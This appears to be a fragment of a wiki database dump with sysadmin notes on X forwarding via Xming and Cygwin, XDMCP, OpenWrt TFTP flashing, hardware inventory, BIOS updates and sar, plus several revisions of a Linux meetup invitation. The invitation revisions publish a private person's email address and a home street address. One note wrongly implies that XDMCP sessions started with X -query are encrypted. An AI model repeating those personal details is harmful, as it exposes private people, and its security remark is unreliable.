Xming\n\nhttp://www.straightrunning.com/XmingNotes/\n\nhttp://sourceforge.net/projects/xming/\n\n\n== Simple Windows / X server solution ==\n\n1) Install putty\n\n2) Install Xming X server\n\n3) Start Xming (mult window mode usually best)\n\n4) Use putty, with SSH option for X Forwarding enabled) to connect to server\n ssh -X user@ipaddress\n\n5) Run the X based app you want and it will open on the Windows / X server client. For example, just run gimp & and it should appear on the Windows client. \n\n6) To run the entire desktop use: X -query \'\'ipaddress\'\' This will run the target systems entire desktop, forwarded to your client, using XDMCP. You can also use X - broadcast to see what desktops are available. \n\nDoesn\'t work? See troubleshooting below. \n\n== Improve Desktop Performance ==\n\nRunning XDMCP is not particularly fast, but is encrypted over ssh. You can use a VNC client, which can be faster, but to really see a gain accelrate the X server and client by using the NXserver and NXclient from http://www.nomachine.com/download.php \n\n\n== General SSH / X Tutorial ==\n\nGeneral information and a few different configurations\nfor application and desktop forwarding thru X over SSH.\n\nhttp://www.vanemery.com/Linux/XoverSSH/X-over-SSH2.html\n\n== Cygwin X Server Option==\n\n\'\'\'Via Cygwin\'s X Client on Local Machine\'\'\'\n\nhttp://x.cygwin.com/docs/ug/cygwin-x-ug.html\n\nStart Cygin and start the X server with \n\n$ X &\nor \n$ XWin.exe &\n
\nOnce the X server is running you can SSH to you server using Cygwin with either\n\n$ ssh -X root@hostname\nor\n$ ssh -Y -l user host\n
\n(If you use Putty to ssh with, select Connection --> SSH --> X11 - Enable X11 Forwarding. You should not have to specify a display name - leave it blank)\n\nRun the app you want in the shell and it will forward thru ssh over X and display on the local Windows machine, for example:\n\n$xeyes &\n$katomic $\n$ooffice &\n
\n\'\'\'Remote Sessions via XDMCP\'\'\' - Remote Desktop \n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\n(If you get an error about client denied from \'\'ipaddress\'\'and something about an MIT_MAGIC_COOKIE, see troubleshooting section.)\n\n----\n\n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of \nXDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.\n\n== Troubleshooting ==\n\n*Trying to run an XDMCP desktop remotely and get and Audit message stating:\n\nhttp://www.freedesktop.org/wiki/CygwinXTroubleShooting#head-6a6eba8b76cc333691dc33a73efbd74473ca28eb\n\nCygwin/X reports AUDIT: client 1 rejected from IP \'\'remotehost\'\'\n\nProblem is maybe a wrong DNS (Network name resolution). Make sure your windows host has a hostname which is valid from linux too and an IP address which linux can resolve to that hostname. \n\nIf you add a line \n\n192.168.26.1 myhost \n\nto /etc/hosts on the XDMCP server containing the IP address and the hostname of your windows host the name resolution should work. \n\nAlso, ensure that kdmrc has xdmcp set to true - there is a whole section under [Xdmcp}\n\n*X applications or desktop not being forwarded over ssh?\n\nEnsure X11Forwarding is enabled in sshd_config on the server - restart sshd service','utf-8'),(40,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who: Sat 8 Sept. / Sun 9 Sept Sat 15 Sept. / Sun 16 Sept \n \n Pete Yes Yes Yes Yes\n (I\'ll provide some soda and beer)\n\nCody not 8th or 9th 15th yes / 16th yes\n(i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\n Eric I am good for both dates, when a date is announced I\'ll figure out what to bring.','utf-8'),(41,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who: Sat 8 Sept. / Sun 9 Sept Sat 15 Sept. / Sun 16 Sept \n \n Pete Yes Yes Yes Yes\n (I\'ll provide some soda and beer)\n\nCody not 8th or 9th 15th yes / 16th yes\n(i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\nEric I am good for both dates, when a date is announced I\'ll figure out what to bring.','utf-8'),(42,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who: Sat 8 Sept. / Sun 9 Sept Sat 15 Sept. / Sun 16 Sept \n \n Pete Yes Yes Yes Yes\n (I\'ll provide some soda and beer)\n\nCody not 8th or 9th 15th yes / 16th yes\n(i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\nEric I am good for both dates, when a date is announced I\'ll figure out what to bring.\n(I also invited James Goin [hope thats okay], he is a new tech at our store. He said both dates sound okay to him. His email is thomas.james.goin@gmail.com)','utf-8'),(43,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who: Sat 8 Sept. / Sun 9 Sept Sat 15 Sept. / Sun 16 Sept \n \n Pete Yes Yes Yes Yes\n (I\'ll provide some soda and beer)\n\nCody not 8th or 9th 15th yes / 16th yes\n(i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\nEric I am good for both dates, when a date is announced I\'ll figure out what to bring.\n(I also invited James Goin [hope thats okay], he is a new tech at our store. He said both dates sound okay to him. His email is thomas.james.goin@gmail.com)\n\nJames C. Sun the 16th','utf-8'),(44,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n\'\'\'Sunday, 16 Sept 7pm to 10pm or so.\'\'\' \n\n\'\'If you are coming post your name below under Who\'s Coming if you have not already\'\'\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who: Sat 8 Sept. / Sun 9 Sept Sat 15 Sept. / Sun 16 Sept \n \n Pete Yes Yes Yes Yes\n (I\'ll provide some soda and beer)\n\n Cody not 8th or 9th 15th yes / 16th yes\n (i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\n Eric I am good for both dates, when a date is announced I\'ll figure out what to bring.\n (I also invited James Goin [hope thats okay], he is a new tech at our store. He said both dates \n sound okay to him. His email is thomas.james.goin@gmail.com)\n\n James C. Sun the 16th','utf-8'),(45,'\n== OS Installation ==\n \n\nOutput by default is directed to serial 0. Use minicom / picocom, etc with baud rate of 115200 for terminal access. (Picocom command sequence ctrl-a, then ctrl-u or d to increase / decrease baud rate.)\n\nThe Strongbolt install from CD seems to require eth0 (marked \"I\")to be used. If not, the base OS is installed but Blue Quartz is not installed, despite being selected on the LCD menu.\n\nhttp://www.osoffice.co.uk/strongbolt_server_appliances.html\n\nhttp://bluequartz.org/\n\nGeneral info on Cobalts\nhttp://www.affordable-dedicated-servers.com/cobalt_xtr.html\n\nDistro of CentOS & Bluequartz for non-Cobalt systems\nhttp://www.nuonce.net/bq-cd.php','utf-8'),(46,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n\'\'\'Sunday, 16 Sept 7pm to 10pm or so.\'\'\' \n\n\'\'\'See you all tonight!\'\'\'\n\n\n1575 Greenlea Drive, #9\nClearwater, FL 33755\n\nJust south of Sunset Point and Highland.\nBP Station on corner of Highland and Greenlea. Go east two blocks.\nTwo story condos on right, with brown roof, \"The Pines\"\nFirst building as you enter. Ground floor, unit 9.\n
\n\'\'If you are coming post your name below under Who\'s Coming if you have not already\'\'\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who: Sat 8 Sept. / Sun 9 Sept Sat 15 Sept. / Sun 16 Sept \n \n Pete Yes Yes Yes Yes\n (I\'ll provide some soda and beer)\n\n Cody not 8th or 9th 15th yes / 16th yes\n (i\'ll bring beer and some sort of snacks, will bring my ubuntu box)\n\n Eric I am good for both dates, when a date is announced I\'ll figure out what to bring.\n (I also invited James Goin [hope thats okay], he is a new tech at our store. He said both dates \n sound okay to him. His email is thomas.james.goin@gmail.com)\n\n James C. Sun the 16th','utf-8'),(47,'\n== TFTP Install ==\n\n\nhttp://wiki.openwrt.org/OpenWrtDocs/Installing/TFTP?action=show&redirect=OpenWrtViaTftp\n\n# unplug the power to your router\n# start your tftp client (pumpkin tftp is a good easy choice)\n\n * give it the router\'s address (usually 192.168.1.1)\n * set mode to octet/binary\n * tell the client to resend the file, until it succeeds.\n * put the file \n\n# plug your router, while having the tftp client running and constantly probing for a connection\n# the tftp client will receive an ack from the bootloader and starts sending the firmware\n\nWindows 2000/XP TFTP Client short Instructions\n\n * Open two command windows (Start-Run-Enter \"cmd\")\n * In one window, type \"ping -t -w 10 192.168.1.1\" and press enter. 192.168.1.1 is the router IP.\n * Ping will continuously try to contact the wrt with 10 ms timeout instead of default 4000 ms. Keep this running\n *\n\n In the other window, prepare the tftp command \"tftp -i 192.168.1.1 PUT OpenWrt-gs-code.bin\". Do not press enter yet!\n * Now you may plug in the router (unplug it first if it was plugged).\n * In the ping window it will start saying \"Hardware Error\"\n * Return to the tftp window. As soon as the ping window starts to answer again, press enter in the tftp window.\n * The image should now be flashed without multiple tries.\n * If ping starts with \"Hardware Error\", then starts to answer, and then returns to \"Hardware Error\" again for a short moment, you waited too long. \n\nif you have a openwrt54gl (v1.1 testet) the timespan might be very short and is located about 2 seconds after pluging in and about 1 second before the ping starts to answer.\n\nNote: if your computer set DHCP, you may not get \"Hardware Error\" but \"Destination host unreachable\" or \"Request timeout\". Set your computer static IP before.\n\n\n\n== Client Mode (Bridging): ==\n\nhttp://wiki.openwrt.org/ClientModeHowto\n\n\n\n== X-Wrt Web interface ==\n\n\nhttp://wiki.x-wrt.org/index.php/Installation_Guide\n\n Install X-Wrt manually\n\nThe X-Wrt webif depends on the Haserl package, so this has to be installed before the webif itself. In both cases the specific links are needed to point ipkg to the correct package. This requires internet access, but it is as alternative possible to SCP the packages onto the router (they should be placed in the /tmp directory).\n\nroot@OpenWrt:~# ipkg install http://downloads.x-wrt.org/xwrt/kamikaze/7.07/brcm-2.4/packages/haserl_0.8.0-1_mipsel.ipk\n\nThen afterwards it is just needed to type:\n\nroot@OpenWrt:~# ipkg install http://downloads.x-wrt.org/xwrt/kamikaze/7.07/brcm-2.4/webif_latest.ipk\n\nThe installation of webif will automatically add the new X-Wrt repositories to ipkg.conf and run the \'ipkg update\' command.','utf-8'),(48,'== Polling Hardware Specs with dmidecode and lshw / lhsw-gui ==\n\n__FORCETOC__\n\nNeed to do a memory install?\n\nSystem not labeled with what board it has?\n\nWant to know what motherboard and what memory it has and in what slots?\n\nFor motherboard / hardware info use lshw and / or dmidecode\n\ndmidecode is built in and provides a wealth of info. lshw give much the same, some extra and also provides a gui\n\n== dmidecode ==\n \n\n# dmidecode\n\ndmidecode will show the number of memory slots and speed of memory, and motherboard model information:\n\n\nHandle 0x0002\n DMI type 2, 8 bytes.\n Base Board Information\n Manufacturer: Gigabyte Technology Co., Ltd.\n Product Name: 8LD533\n Version: 1.x\n Serial Number:\n
\n\n# dmidecode | grep Memory\n\n\nHandle 0x0018\n DMI type 16, 15 bytes.\n Physical Memory Array\n Location: System Board Or Motherboard\n Use: System Memory\n Error Correction Type: None\n Maximum Capacity: 2 GB\n Error Information Handle: Not Provided \n Number Of Devices: 2\n
\nDIMM Info:\n\n\nHandle 0x0019\n DMI type 17, 27 bytes.\n Memory Device\n Array Handle: 0x0018\n Error Information Handle: Not Provided\n Total Width: 64 bits\n Data Width: 64 bits\n Size: 512 MB\n Form Factor: DIMM\n Set: None\n Locator: A0\n Bank Locator: Bank0/1\n Type: Unknown\n Type Detail: CMOS Window DRAM\n Speed: 266 MHz (3.8 ns)\n Manufacturer: None\n Serial Number: None\n Asset Tag: None\n Part Number: None\n
\n\n== lshw lshw-gui ==\n\nThis is from:\n\nhttp://ezix.org/project/wiki/HardwareLiSter\n\nAdd this temporarily to /etc/yum.com\n\n [dries]\n name=Extra Fedora rpms dries - $releasever - $basearch\n baseurl=http://ftp.belnet.be/packages/dries.ulyssis.org/redhat/el4/en/i386/dries/RPMS\n gpgcheck=1\n enabled=1\n\nAnd import the key with:\n\n rpm --import http://apt.sw.be/dries/RPM-GPG-KEY.dries.txt\n\nIf you don\'t import the key you will get the ol\'\nPublic key for lshw-2.11.1-1.el4.rf.i386.rpm is not installed\nand yum will choke.\n\n # yum install lshw lshw-gui \n(Obviously you don\'t need the gui unless you want to forward it over X and view it that way)\n\n # lshw will give you:\n\n\n*-core\n description: Motherboard\n product: 8LD533\n vendor: Gigabyte Technology Co., Ltd.\n physical id: 0\n version: 1.x\n *-firmware\n description: BIOS\n vendor: Award Software International, Inc.\n physical id: 0\n version: 6.00 PG (10/16/2003)\n size: 128KB\n capacity: 192KB\n
\nAnd also memory info (speed / slots, etc.):\n\n*-memory\n description: System Memory\n physical id: 18\n slot: System board or motherboard\n size: 1GB\n capacity: 2GB\n *-bank:0\n description: DIMM CMOS Window DRAM 266 MHz (3.8 ns)\n product: None\n vendor: None\n physical id: 0\n serial: None\n slot: A0\n size: 512MB\n width: 64 bits\n clock: 266MHz (3.8ns)\n *-bank:1\n description: DIMM CMOS Window DRAM 266 MHz (3.8 ns)\n product: None\n vendor: None\n physical id: 1\n serial: None\n slot: A1\n size: 512MB\n width: 64 bits\n clock: 266MHz (3.8ns)\n
\n\nOr if you prefer, ssh with -X and use lshw-gui and get the data forwarded through X to the gui front end.','utf-8'),(49,'== BIOS Updates Huzzah !==\n\nWe have collected BIOS updates for all our Dell Servers and the key generic ones as well.\n\nPractically all these systems have whatever BIOS version they shipped with. Some of the Dell 750s for example have BIOS versions A00 - whereas the current is A08 for example.\n\nThese BIOS updates contain innumerable updates for the various systems including improved PXE booting support (often updating PXE Boot to 2.1 and enabling more PXE options) and improved support for booting / recognizing external USB devices. One board even gains a hardware RAID config menu. Many get new PXE boot menus which then have new options. Some can then use other memory types, or support different CPUs such as the Celeron D, etc, etc. ad nausium. \n\nAs both PXE and booting from USB devices is a crucial function our servers must perform, updateing the BIOS is a very good idea. This should be done as part of any new install, reinstall or when otherwise possible. It takes only a few minutes to do.\n\nOperational systems allow us to stay one step ahead of the damn Peace keepers whenever possible. And they make the radiant Aeryn Sun much happier. \n\n[[Image:mini_aeryn01.jpg|frame|center|The Radiant Aeryn Sun]]\n\n== Methods of Booting ==\n\nThere are three update routes: \n\n A) PXE Booting \'\'\'THIS IS NOT YET OPERATIONAL\'\'\'\n B) Bootable USB Stick \n C) Bootable CD ROM\n\nA) PXE Booting \n\nThis is still being worked on. Use the other two methods for now.\n\nB) Bootable USB Stick\n\nThe \'BIOS\' labeled USB key can be used on all Dells and many generics. Set the boot option for enable other = yes and on Dell set the boot device priority, etc. \n\nC) Bootable CDROM\n\nBoot to the CD and then A:>CD d: to get to the files, organized under the BIOS directory.\n\n\nBoth the CD and USB keys should be kept in the install room on the bulletin board. Please return them there.\n\n== How to update the BIOS ==\n\nOnce you are in the BIOS update DOS environment, simply CD to the appropriate directory - these are named after the board model, for example: 8LD533 or S2727 etc. This is printed on the board or of course visible in the POST screen.\n\n(The pause key will halt the POST sequence so you can see the BIOS and board info.)\n\nOnce in the correct directory just run the flash utility and supply the image file name:\n\n C:\\awfl823b.exe p4map148.bin\n Will run the utility and pass the bios image automatically to it.\n You do not need to save to old BIOS\n\nSome boards have autoexec.bat files to do the above.\n\n== Dell Servers - Upgrading in Linux ==\n\nYou can update Dells using the DOS executable available in the PXE BIOS update or on the boot CD or USB stick. They are organized by model under BIOS\\Dell\\DellDOS\\. \n\nYou can also execute the linux .bin file from CentOS 4.5 or 5 very easily. A reboot should be done after as the flash operation does not occur until reboot. However the reboot is not immediately required. \n\n Steps:\n \n From within CentOS:\n \n mount the BIOS USB key or BIOS CD ROM\n yum isntall compat-libstdc++* (use the latest i386 version)\n execute the appropriate.bin file (located on the USB stick / CDROM in /BIOS/Dell/DellLinux \n Reboot and monitor the flash\n\n(Only government sanctioned CentOS is this easy. For other distros your mileage will vary.)\n\n== Generic Servers ==\n\nSome of these will boot to the USB stick. Some will not. There are about a dozen different generic boards. The key ones have BIOS updates available. You will just need to try booting first to the USB and then the CDROM. These are more of a pain, but updating them will make everyones lives easier so please do so when you are doing reinstall them etc.\n\n== Board Notes ==\n\nThere are hardware notes on the various board in the README.txt file under the BIOS directory. If you come across specific hardware / PXE information that should be included please let me know and it can be added.\n\n\n== Board BIOS Versions ==\n\nThese are the latest / most stable BIOS versions to use:\n\n\'\'\'DELLS:\'\'\'\n\n750 A06\n\n850 A04\n\n1425 A03\n\n1850 A06\n\n\'\'\'GENERICS\'\'\'\n\n845GVMRZ F3 (Note: there are later versions which all seem to disable PXE support entirely. Use F3.)\n\n8LD533 F3\n\n8LS533 F2\n\nP4MAP266 1.48\n\nP4MA533 1.12\n\nP4P800MX 1004.2002\n\n\"Rev B1\" (DFI) 1.8 (Most already have this - I don\'t think there ever was an update.)\n\nS2727 1.04 (These are the dual Xeons. PXE is very weird on these. There are two versions, I think all ours use the MX and not the Windbond flash)\n\nMSI 6524 1.70','utf-8'),(50,'','utf-8'),(51,'__TOC__\n\n== Installing and Configuring sar ==\n\n\nsar and iostat and part of the sysstat package. I believe it is installed by default in CentOS 5.\n\nInstall sar: yum install sysstat\n\nScripts are in /etc/cron.d\n\nAnd also edit [/etc/sysconfig]# cat sysstat\n\n # How long to keep log files (days), maximum is a month, default is 7\n HISTORY=15\n\n\n----\n\n\nBasic use from shell: sar -A 1\n\nsar -n DEV #gives network device stats\n\nsar -n EDEV #gives network device errors\n\n\n\nTo read data from the log use:\n\nsar -f /var/log/sa/sa08 (where 08 is day number to view)\n\n(this same command can be executed from ksar remotely.)\n\n\nNote: sar can also be used to monitor processes, but can\'t log the results by default, however I think you could pipe it to a log manually. \n\n\nSome additional sites on sar\n\nhttp://www.linux.com/articles/114224\n\nhttp://sourceforge.net/project/showfiles.php?group_id=179805\n\n== kSar ==\n\nNew beta 4.0.10:\n\nwebstart : http://ksar.atomique.net/Dev/kSar.jnlp - NICE \n\njar : http://ksar.atomique.net/Dev/kSar-4.0.10.jar\n\nor wget http://downloads.sourceforge.net/ksar/kSar-4.0.10.jar?modtime=1189451880&big_mirror=0\n\nThis is a pretty killer app - you can poll all the data sar has logged, view it in very pretty graphs and also export it (only the sections you want) as a .pdf file.\n\nThe development site for kSar is: http://ksar.atomique.net/\n\nTo run the Java client: java -jar kSar-4.0.10.jar\n\nTo connect to a remote host select \"launch SSH command\" from the data menu. Connect as: root@ipaddress:port \n\nOnce connected via ssh, select \"launch ssh command\" again using:\n\nssh command to run: sar -A -f /var/log/sysstat/sa15 (where 15 is the day number to view)\n\n\n[[image:kSar.jpg|center|frame]]','utf-8'),(52,'== OS Installation ==\n \n\nOutput by default is directed to serial 0. Use minicom / picocom, etc with baud rate of 115200 for terminal access. (Picocom command sequence ctrl-a, then ctrl-u or d to increase / decrease baud rate.)\n\nThe Strongbolt install from CD seems to require eth0 (marked \"I\")to be used. If not, the base OS is installed but Blue Quartz is not installed, despite being selected on the LCD menu.\n\nhttp://www.osoffice.co.uk/strongbolt_server_appliances.html\n\nhttp://bluequartz.org/\n\nGeneral info on Cobalts\nhttp://www.affordable-dedicated-servers.com/cobalt_xtr.html\n\nDistro of CentOS & Bluequartz for non-Cobalt systems\nhttp://www.nuonce.net/bq-cd.php\n\n\n\n== Blue Quartz ==\n\nYou can view sites by:\n\nhttp://66.118.149.130/Moria.azure.com/test/phpinfo.php\n\n\"Site preview\" in the site settings has to be enabled for this to work and the server has to have DNS \"enable Server\" active\n\n\nSites Content is stored:\n\n/home/sites/Moria.azure.com/web\n\n(/sites is a sym link)\n\n\n\n== Strongbolt Kernel ==\n\nKernel source is at:\nhttp://www.osoffice.co.uk/linux/raq550-sb-kernel-source/2.6/\n\n/usr/src/sbraq550src/linux-2.6.16-raq550\nmake menuconfig (required ncurses-dev installed to run)\n\nDevice Drivers --> Multi Device Support (RAID and LVM) --> Device Mapper Support\n\nmake modules\nmake 